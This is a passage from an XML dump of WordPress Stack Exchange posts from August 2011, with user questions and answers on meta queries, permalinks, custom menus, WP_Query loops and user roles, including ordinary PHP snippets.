),&#xA;       array(&#xA;            'key' =&amp;gt; 'document-status',&#xA;            'value' =&amp;gt; 'current',&#xA;        )&#xA;    )&#xA;);&#xA;query_posts( $documents );&#xA;get_template_part( 'loop', 'documents' );&#xA;wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-08-03T22:05:23.470" LastActivityDate="2011-08-03T22:05:41.927" Title="Querying multiple values from a single key" Tags="&lt;custom-post-types&gt;&lt;query-posts&gt;&lt;array&gt;&lt;meta-query&gt;" AnswerCount="1" />
  <row Id="24859" PostTypeId="1" CreationDate="2011-08-03T21:59:11.387" Score="0" ViewCount="47" Body="&lt;p&gt;Hoping someone can help with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking on a category either returns a &quot;not found&quot; error, or opens a random post in the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Verified that the issue is independent of a plugin or theme. Have also messed with .htaccess to no avail. Only works if I use the default permalink structure, which I do not want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See these links to see the problem firsthand:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.linuxbsdos.com/category/tutorialstips/&quot; rel=&quot;nofollow&quot;&gt;http://www.linuxbsdos.com/category/tutorialstips/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://linuxbsdos.com/category/mandriva/&quot; rel=&quot;nofollow&quot;&gt;http://linuxbsdos.com/category/mandriva/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="7599" LastActivityDate="2011-09-05T02:42:25.153" Title="Unable to browser posts in categories" Tags="&lt;categories&gt;&lt;errors&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="24860" PostTypeId="2" ParentId="14002" CreationDate="2011-08-03T22:02:55.690" Score="0" ViewCount="" Body="&lt;p&gt;If you're trying to place it on a php template page you can use &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode('[events-calendar-large]'); ?&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, they have quite a bit of information in &quot;&lt;strong&gt;Other Notes&lt;/strong&gt;&quot; on their WordPress plugin page. &lt;a href=&quot;http://wordpress.org/extend/plugins/the-events-calendar/other_notes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/the-events-calendar/other_notes/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-08-03T22:02:55.690" CommentCount="1" />
  <row Id="24861" PostTypeId="2" ParentId="24858" CreationDate="2011-08-03T22:05:41.927" Score="2" ViewCount="" Body="&lt;p&gt;Just add &lt;code&gt;'compare' =&amp;gt; 'IN'&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        'key' =&amp;gt; 'document-type',&#xA;        'value' =&amp;gt; array( 'Install Manual', 'User Manual' ),&#xA;        'compare' =&amp;gt; 'IN'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-03T22:05:41.927" CommentCount="2" />
  <row Id="24862" PostTypeId="1" CreationDate="2011-08-03T22:13:55.170" Score="0" ViewCount="12" Body="&lt;p&gt;Does anyone know of an e-commerce plugin which allows for monthly payment options and is compatible with the eStore theme by elegant themes? I've tried eShop but unfortunately it doesn't seem to provide options for monthly payments.  Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6451" LastActivityDate="2011-08-03T22:13:55.170" Title="E-commerce Plugin With Monthly Payments" Tags="&lt;plugins&gt;&lt;theme-options&gt;&lt;e-commerce&gt;&lt;paypal&gt;" FavoriteCount="1" />
  <row Id="24863" PostTypeId="2" ParentId="24851" CreationDate="2011-08-03T22:18:38.263" Score="3" ViewCount="" Body="&lt;p&gt;Well, you have wp_localize_script(), but that's only for passing data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you can do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function print_my_inline_script() {&#xA;  if ( wp_script_is( 'some-script-handle', 'done' ) ) {&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;// js code goes here&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;  }&#xA;}&#xA;add_action( 'wp_footer', 'print_my_inline_script' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The idea is that you shouldn't rely on your inline script being printed &lt;em&gt;exactly&lt;/em&gt; after the script it depends on, but later.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-08-03T22:26:33.857" LastActivityDate="2011-08-03T22:26:33.857" />
  <row Id="24864" PostTypeId="1" CreationDate="2011-08-03T22:18:52.133" Score="0" ViewCount="22" Body="&lt;p&gt;I have my own small icon of facebook displayed on header.php and I want that whenever somedy presses it, the facebook connect function would be triggered. How to enable this without adding facebook default buttons? thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use WP facebook connect plugin&lt;/p&gt;&#xA;" OwnerUserId="7552" LastActivityDate="2011-09-03T06:40:49.893" Title="How to add facebook connect without adding default button?" Tags="&lt;facebook&gt;" AnswerCount="1" />
  <row Id="24865" PostTypeId="1" CreationDate="2011-08-03T22:20:58.427" Score="-1" ViewCount="47" Body="&lt;p&gt;I'm using the following snippet to add a menu item:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_menu_page(&#xA;    'Foo Server',&#xA;    'Foo Server',&#xA;    'manage_options',&#xA;    'foo-server',&#xA;    array('Class', 'method')&#xA;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Fine, it's displayed. But clicking on it returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;You do not have sufficient permissions to access this page.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I really don't know what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea? Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Problem fixed. I was registering the menu using the wrong hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', 'function that runs the above code!');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;must be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_menu', 'function that runs the above code!');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7600" LastEditorUserId="7600" LastEditorDisplayName="" LastEditDate="2011-08-04T19:54:30.187" LastActivityDate="2011-08-04T19:54:30.187" Title="Plugin: Custom menu item problem" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;custom-menus&gt;&lt;wordpress.org&gt;&lt;object&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="24866" PostTypeId="1" AcceptedAnswerId="24867" CreationDate="2011-08-03T22:26:56.057" Score="0" ViewCount="18" Body="&lt;p&gt;I've designed a grid-based portfolio theme for a photographer; for each portfolio item, I need six different images, all of which have a fixed size. However, no two sizes are alike. Is there a WordPress plugin that will easily allow me to specify a number of different image sizes and choose easily between them when uploading photos? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-08-03T22:52:49.600" Title="Plugin that will let me specify a number of image sizes?" Tags="&lt;plugins&gt;&lt;image&gt;&lt;image-size&gt;" AnswerCount="1" />
  <row Id="24867" PostTypeId="2" ParentId="24866" CreationDate="2011-08-03T22:52:49.600" Score="2" ViewCount="" Body="&lt;p&gt;Have you looked at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_image_size&quot; rel=&quot;nofollow&quot;&gt;add_image_size()&lt;/a&gt; ? It allows you to create new custom thumbnail sizes for uploaded images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to create new thumbnails for previously uploaded images, use my &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Regenerate Thumbnails&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2011-08-03T22:52:49.600" />
  <row Id="24868" PostTypeId="2" ParentId="24821" CreationDate="2011-08-03T22:55:00.683" Score="0" ViewCount="" Body="&lt;p&gt;Pages are meant for holding timeless content. Are you sure you are in the right direction here? We can create something like domain.com/pages/2011/07 to access all pages published on July 2011 and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the links, you can generate them wherever you want. I would need your theme, so that I can create a page template that will show the Page listing &amp;amp; a plugin to handle this functionality.&lt;/p&gt;&#xA;" OwnerUserId="5707" LastActivityDate="2011-08-03T22:55:00.683" CommentCount="1" />
  <row Id="24869" PostTypeId="2" ParentId="24864" CreationDate="2011-08-03T23:01:59.997" Score="0" ViewCount="" Body="&lt;p&gt;With their javascript library, make the button click trigger the FB.login function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developers.facebook.com/docs/reference/javascript/FB.login/&quot; rel=&quot;nofollow&quot;&gt;http://developers.facebook.com/docs/reference/javascript/FB.login/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-03T23:01:59.997" />
  <row Id="24870" PostTypeId="2" ParentId="24851" CreationDate="2011-08-03T23:02:08.763" Score="2" ViewCount="" Body="&lt;p&gt;Just don't make it an inline script and then pass the dynamic parameters to it as variables. Otto has &lt;a href=&quot;http://ottopress.com/2010/passing-parameters-from-php-to-javascripts-in-plugins/&quot; rel=&quot;nofollow&quot;&gt;written a great guide&lt;/a&gt; on how to do this effectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress 3.3 will also make this more powerful: &lt;a href=&quot;https://core.trac.wordpress.org/ticket/11520&quot; rel=&quot;nofollow&quot;&gt;https://core.trac.wordpress.org/ticket/11520&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2011-08-03T23:02:08.763" />
  <row Id="24871" PostTypeId="2" ParentId="24859" CreationDate="2011-08-03T23:08:39.913" Score="0" ViewCount="" Body="&lt;p&gt;This is an issue with your htaccess or mod_rewrite on your server. Try overwriting your .htaccess with &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#Creating_and_editing_.28.htaccess.29&quot; rel=&quot;nofollow&quot;&gt;this snippet from the Wordpress codex&lt;/a&gt;. Or see the mod_rewrite section that is also on that page.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-03T23:08:39.913" />
  <row Id="24873" PostTypeId="2" ParentId="24865" CreationDate="2011-08-03T23:22:06.650" Score="0" ViewCount="" Body="&lt;p&gt;Do your WordPress Database Tables use wp_ as a prefix? I've read several articles that using a different prefix can cause the permissions error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/you-do-not-have-sufficient-permissions-to-access-this-page-45&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/you-do-not-have-sufficient-permissions-to-access-this-page-45&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://beconfused.com/2007/how-to-solve-you-do-not-have-sufficient-permissions-to-access-this-page-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://beconfused.com/2007/how-to-solve-you-do-not-have-sufficient-permissions-to-access-this-page-in-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-03T23:22:06.650" CommentCount="4" />
  <row Id="24875" PostTypeId="2" ParentId="24865" CreationDate="2011-08-03T23:39:26.930" Score="-1" ViewCount="" Body="&lt;p&gt;If you're calling this from inside a Php Class, then you're using the wrong syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_menu_page(&#xA;    'LiveHelp Server',&#xA;    'LiveHelp Server',&#xA;    'manage_options',&#xA;    'livehelp-server',&#xA;    // Call the  the method/function from inside a class&#xA;    array( __CLASS__, 'method_name' )&#xA;    // Another way to call the method/function from inside a class&#xA;    array( &amp;amp;$this, 'method_name' )&#xA;    // Another way to call the method/function from inside a class&#xA;    ClassName::method_name&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be sure that your method/function is really named &lt;code&gt;method()&lt;/code&gt; (which is a bad idea). Else it won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess you're simply calling it from inside a function, so it's enough to name the callback function (without a class).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: If you need further assistance, read about classes and functions on php.net. The Q itself is not really a Wordpress Q.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-03T23:39:26.930" CommentCount="7" />
  <row Id="24876" PostTypeId="1" CreationDate="2011-08-04T00:04:00.903" Score="1" ViewCount="26" Body="&lt;p&gt;I have an existing site structure that I would like to intergrate the Loop into.&#xA;I would like to be able to control 4 differnt Loops and everything else in the blog within one blog.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Home   :   /index.php?p=blog&#xA;Post   :   /index.php?p=blog&amp;amp;post=123(w/ the post define as 123)&#xA;Tag    :   /index.php?p=blog&amp;amp;tag=12 (w/ the tag's id as 12)&#xA;Author :   /index.php?p=blog&amp;amp;author=2 (w/ the author's id as 2)&#xA;Month  :   /index.php?p=blog&amp;amp;date=082011 (w/ the month as 08 of 2011)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can get my pages to display, but the tags are repeated from the first post to each subsequent post and the load time is way too long... where did I go wrong, and did i even go at this the correct way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('WP_USE_THEMES', false);&#xA;require('blog/wp-blog-header.php');&#xA;?&amp;gt;&#xA;&amp;lt;link href=&quot;css/blog.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;div id=&quot;wp-header&quot; class=&quot;wp-container&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;wp-title&quot;&amp;gt;Blog&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;wp-sidebar&quot; class=&quot;wp-container&quot;&amp;gt;&amp;lt;?php get_sidebar();?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;wp-content&quot; class=&quot;wp-container&quot;&amp;gt;&#xA;&amp;lt;?php //Prepare Query arguments based on GET&#xA;    if($_GET['post']){//Single Post Page&#xA;        $post = $_GET['post'];&#xA;        $args = array(&#xA;            'p' =&amp;gt; $post,&#xA;            'post_per_page' =&amp;gt; -1,&#xA;            'orderby' =&amp;gt; 'date',&#xA;            'order' =&amp;gt; 'DESC'&#xA;        );&#xA;    }elseif($_GET['tag']){//Posts by Tag&#xA;        $tag = $_GET['tag'];&#xA;        $args = array(&#xA;            'tag_id' =&amp;gt; $tag,&#xA;            'post_per_page' =&amp;gt; -1,&#xA;            'orderby' =&amp;gt; 'date',&#xA;            'order' =&amp;gt; 'DESC'&#xA;        );&#xA;    }elseif($_GET['date']){//Posts by Date&#xA;        $date = $_GET['date'];&#xA;        $month = substr($date,0,2);&#xA;        $year = substr($date,2);&#xA;        $args = array(&#xA;            'year' =&amp;gt; $year,&#xA;            'monthnum' =&amp;gt; $month,&#xA;            'post_per_page' =&amp;gt; -1,&#xA;            'orderby' =&amp;gt; 'date',&#xA;            'order' =&amp;gt; 'DESC'&#xA;        );&#xA;    }elseif($_GET['author']){//Posts by author&#xA;        $author = $_GET['author'];&#xA;        $args = array(&#xA;            'author' =&amp;gt; $author,&#xA;            'post_per_page' =&amp;gt; -1,&#xA;            'orderby' =&amp;gt; 'date',&#xA;            'order' =&amp;gt; 'DESC'&#xA;        );&#xA;    }else{// Main Page Posts&#xA;        $args = array(&#xA;            'post_per_page' =&amp;gt; 5,&#xA;            'orderby' =&amp;gt; 'date',&#xA;            'order' =&amp;gt; 'DESC'&#xA;        );&#xA;    }&#xA;//Run Loop&#xA;    $the_query = new WP_Query( $args );&#xA;    while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();&#xA;    ?&amp;gt;&#xA;    &amp;lt;div class=&quot;wp-post-wrapper&quot; id=&quot;post-&amp;lt;?php the_ID();?&amp;gt;-wrapper&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;wp-post-title&quot; id=&quot;post-&amp;lt;?php the_ID();?&amp;gt;-title&quot;&amp;gt;&#xA;            &amp;lt;a class=&quot;wp-post-title-link&quot; href=&quot;index.php?p=blog&amp;amp;post=&amp;lt;?php the_ID();?&amp;gt;&quot; title=&quot;Permanent Link to &amp;lt;?php the_title();?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;wp-post-date-author&quot; id=&quot;post-&amp;lt;?php the_ID();?&amp;gt;-date-author&quot;&amp;gt;Published &amp;lt;a class=&quot;wp-post-date-link&quot; href=&quot;index.php?p=blog&amp;amp;date=&amp;lt;?php echo get_the_date(mY);?&amp;gt;&quot; title=&quot;&amp;lt;?php the_time('F, Y');?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_time('F jS, Y');?&amp;gt;&amp;lt;/a&amp;gt; | Written by &amp;lt;a class=&quot;wp-post-author-link&quot;  href=&quot;index.php?p=blog&amp;amp;author=&amp;lt;?php echo $post-&amp;gt;post_author;?&amp;gt;&quot; title=&quot;&amp;lt;?php the_author();?&amp;gt;'s Posts&quot;&amp;gt;&amp;lt;?php the_author();?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;wp-post-entry&quot; id=&quot;post-&amp;lt;?php the_ID();?&amp;gt;-entry&quot;&amp;gt;&amp;lt;?php if($_GET['post']){the_content();}else{the_excerpt();} ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;?php $posttags = get_the_tags($post-&amp;gt;ID);if ($posttags) {?&amp;gt;&amp;lt;div class=&quot;wp-post-tag&quot; id=&quot;post-&amp;lt;?php the_ID();?&amp;gt;-tag&quot;&amp;gt;Tags: &amp;lt;?php foreach($posttags as $tag) {echo '&amp;lt;a href=&quot;index.php?p=blog&amp;amp;tag='.$tag-&amp;gt;term_id.'&quot; class=&quot;wp-post-tag-link&quot;&amp;gt;'.$tag-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;amp;nbsp;';}}?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;       endwhile;&#xA;    wp_reset_query();&#xA;?&amp;gt; &#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;wp-footer&quot; class=&quot;wp-container&quot;&amp;gt;&amp;lt;?php get_footer(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php print_r($query); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7058" LastEditorUserId="7058" LastEditorDisplayName="" LastEditDate="2011-08-04T00:22:49.483" LastActivityDate="2011-08-04T00:22:49.483" Title="Custom WP_Query and Structure Problems" Tags="&lt;wp-query&gt;&lt;integration&gt;" CommentCount="1" />
  <row Id="24877" PostTypeId="1" CreationDate="2011-08-04T00:25:37.063" Score="1" ViewCount="26" Body="&lt;p&gt;Is it possible to create a local wordpress network install on a mac (10.6) using mamp with subdomains? I have tried following some instructions I came across while googling, but apache seems to get hosed when I create virtual hosts. I came across another set of instructions that said only subdirectories will work on a local install. Does anyone know which one of these is the case and have you come across a good set of instructions for how to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="4756" LastActivityDate="2011-08-04T10:52:58.900" Title="Can you create a local wordpress network / multisite install on a mac with subdomains?" Tags="&lt;multisite&gt;&lt;network&gt;&lt;localhost&gt;&lt;local-installation&gt;&lt;mac&gt;" AnswerCount="1" />
  <row Id="24879" PostTypeId="1" CreationDate="2011-08-04T01:47:36.743" Score="-1" ViewCount="46" Body="&lt;p&gt;Hello,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am reframing the question to be clarified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm developing a theme and want to put an internal gallery. Do not want to use all photos uploaded to the media library. I want to create a field (checkbox) so you must select which of these photos should be in the gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using attachment_fields_to_edit attachment_fields_to_save and to add the checkbox, but to mark each picture you must click on &quot;Show&quot; and select the checkbox. I took a screenshot to show exactly where I want the checkbox to stay. &lt;a href=&quot;http://imageshack.us/photo/my-images/146/checkboxwp.png/&quot; rel=&quot;nofollow&quot;&gt;http://imageshack.us/photo/my-images/146/checkboxwp.png/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some time ago I saw a plugin that adds a checkbox next to the link &quot;Show&quot; to not having to open each one of the options and select the photos checkbox. I do not remember the name of the plugin, but it was what I wanted to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, I add the checkbox next to the link &quot;Show&quot; for the user to click on this option and then click on &quot;Save all changes&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and sorry if my explanation was not very clear.&lt;/p&gt;&#xA;" OwnerUserId="7603" LastEditorUserId="7633" LastEditorDisplayName="" LastEditDate="2011-08-04T14:50:08.907" LastActivityDate="2011-08-04T16:05:26.923" Title="Add a checkbox in Media Upload window" Tags="&lt;gallery&gt;" AnswerCount="1" />
  <row Id="24880" PostTypeId="1" AcceptedAnswerId="24890" CreationDate="2011-08-04T01:59:48.160" Score="0" ViewCount="23" Body="&lt;p&gt;Example:  I'm trying to modify an instantiation of WP_Query by using the &lt;code&gt;posts_orderby&lt;/code&gt; filter like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_orderby', 'favorites_orderby');&#xA;$new_query = new WP_Query($args);&#xA;remove_filter('posts_orderby', 'favorites_orderby');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;code&gt;favorites_orderby()&lt;/code&gt; function is like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function favorites_orderby($post_in){&#xA;    if(is_array($post_in))&#xA;        $post_in_str = implode(',', $post_in);&#xA;    return $post_in_str;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$post_in&lt;/code&gt; is an array that changes based on a previous, separate db query, so I need to be able to pass it into the &lt;code&gt;favorites_orderby()&lt;/code&gt; function.  Basically it's an array of post IDs that need to get fed to the WP_Query instantiation's &lt;code&gt;ORDER BY&lt;/code&gt; parameter so that the resulting db request is set like so: &lt;code&gt;ORDER BY FIELD(ID, 6, 18, 90, 12)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works except passing the array of post IDs (&lt;code&gt;$post_in&lt;/code&gt;) to the &lt;code&gt;favorites_orderby()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6304" LastActivityDate="2011-08-04T05:49:42.393" Title="Is it possible to add an argument to a custom function added to a filter hook?" Tags="&lt;wp-query&gt;&lt;add-filter&gt;" AnswerCount="1" />
  <row Id="24881" PostTypeId="2" ParentId="22296" CreationDate="2011-08-04T02:09:40.850" Score="0" ViewCount="" Body="&lt;p&gt;I don't load the full editor but controlling which TinyMCE plugins are loaded does the trick. For example, for my purposes I only need the paste plugin so I added:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'plugins' =&amp;gt; 'paste'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know for sure which plugin causes the p and br tags top be removed, but thru some trial and error or digging thru the code of the plugins you can find which one not to include. Here are the plugins loaded by default:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'inlinepopups', 'spellchecker', 'tabfocus', 'paste', 'media', 'wordpress', 'wpfullscreen', 'wpeditimage', 'wpgallery', 'wplink', 'wpdialogs'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7604" LastActivityDate="2011-08-04T02:09:40.850" />
  <row Id="24883" PostTypeId="1" CreationDate="2011-08-04T03:21:56.247" Score="1" ViewCount="33" Body="&lt;p&gt;I am getting a bit confused by a complex user roles situation and hoping someone can clarify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site has content added by student Film Directors. I created a new user role ('Directors') so that each student director can add their own clips to their showreel (a custom post type).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the admin should be able to edit clip content and assign student directors to their clips should the students be unavailable. However I am unable to get the 'Director' role to show up as an author in the post edit screen when logged in as the admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'exit_clip_posttype' );&#xA;&#xA;function exit_clip_posttype() {&#xA;&#xA;    $labels = array(&#xA;        'name' =&amp;gt; _x( 'Clips', 'post type general name' ),&#xA;        'singular_name' =&amp;gt; _x( 'Clip', 'post type singular name' ),&#xA;        'add_new' =&amp;gt; _x( 'Add clip', 'book' ),&#xA;        'add_new_item' =&amp;gt; __( 'Add clip' ),&#xA;        'edit_item' =&amp;gt; __( 'Edit clip' ),&#xA;        'new_item' =&amp;gt; __( 'New clip' ),&#xA;        'view_item' =&amp;gt; __( 'View clip' ),&#xA;        'search_items' =&amp;gt; __( 'Search clips' ),&#xA;        'not_found' =&amp;gt;  __( 'No clips found' ),&#xA;        'not_found_in_trash' =&amp;gt; __( 'No clips found in Trash' ),&#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;&#xA;    $capabilities = array(&#xA;        'edit_post', &#xA;        'read_post', &#xA;        'delete_post',&#xA;        'edit_posts',&#xA;        'edit_others_posts', &#xA;        'publish_posts', &#xA;        'read_private_posts'&#xA;    );&#xA;&#xA;    $supports = array (&#xA;        'title', &#xA;        'editor', &#xA;        'excerpt', &#xA;        'revisions', &#xA;        'thumbnail', &#xA;        'author' &#xA;    );&#xA;&#xA;    $args = array( &#xA;        'labels' =&amp;gt; $labels, &#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        //'rewrite' =&amp;gt; array ( 'slug' =&amp;gt; 'project' ),&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'capabilites' =&amp;gt; $capabilities,&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; 4,&#xA;        'supports' =&amp;gt; $supports,&#xA;    ); &#xA;&#xA;    register_post_type( 'clip', $args ); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and the roles settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /* Add 'Director' role */&#xA;&#xA;$exit_director_roles = array( &#xA;                        'read' =&amp;gt; true, &#xA;                        'delete_posts' =&amp;gt; false, &#xA;                        'delete_published_posts' =&amp;gt; false,&#xA;                        'edit_posts' =&amp;gt; true,&#xA;                        'edit_published_posts' =&amp;gt; true,&#xA;                        'publish_posts' =&amp;gt; true,&#xA;                        'upload-files' =&amp;gt; true,&#xA;                        'edit_others_posts' =&amp;gt; true,&#xA;);&#xA;&#xA;add_role('director','Director',$exit_director_roles);&#xA;&#xA;&#xA;/* Remove extraneous roles */&#xA;&#xA;remove_role('contributor');&#xA;remove_role('subscriber');&#xA;remove_role('author');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The end result should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Directors can: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create 'clip' post &lt;/li&gt;&#xA;&lt;li&gt;Save 'clip'post for review&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Admin can: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create 'clip' posts&lt;/li&gt;&#xA;&lt;li&gt;Publish 'clip' posts&lt;/li&gt;&#xA;&lt;li&gt;Edit all 'clip' posts&lt;/li&gt;&#xA;&lt;li&gt;Assign Director to 'clip' posts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In addition I have other post types (News, Screenings) that only the Admin should be allowed to create and 